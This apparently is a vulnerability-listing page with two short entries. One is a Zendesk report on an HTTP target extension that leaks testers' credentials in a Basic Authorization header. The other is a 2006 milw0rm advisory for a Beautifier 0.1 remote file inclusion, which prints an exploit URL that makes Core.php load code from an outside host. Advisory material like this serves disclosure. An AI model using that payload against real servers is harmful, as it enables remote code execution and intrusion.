Zendesk: "Test target" of the "HTTP target" extension can unintentionally send username and password in the Authorization header

Summary: In certain conditions, the HTTP target extension is sending the username and password of the authenticated user testing the target in the test request's Authorization header as base64 encoded i.e. HTTP basic auth. I have graded this as a medium due to some mitigating circumstances browse...

Beautifier 0.1 (Core.php) Remote File Include Vulnerability

No description provided by source. Beautifier v0.1 Remote File Inclusion Vulnerability Download: http://www.beautifier.org/php/beautifier-php-full-current.tar.gz Found By: the master exploit: http://Target/Path/Beautifier/Core.php?BEAUTPATH=http://cmd.gif? milw0rm.com 2006-09-06...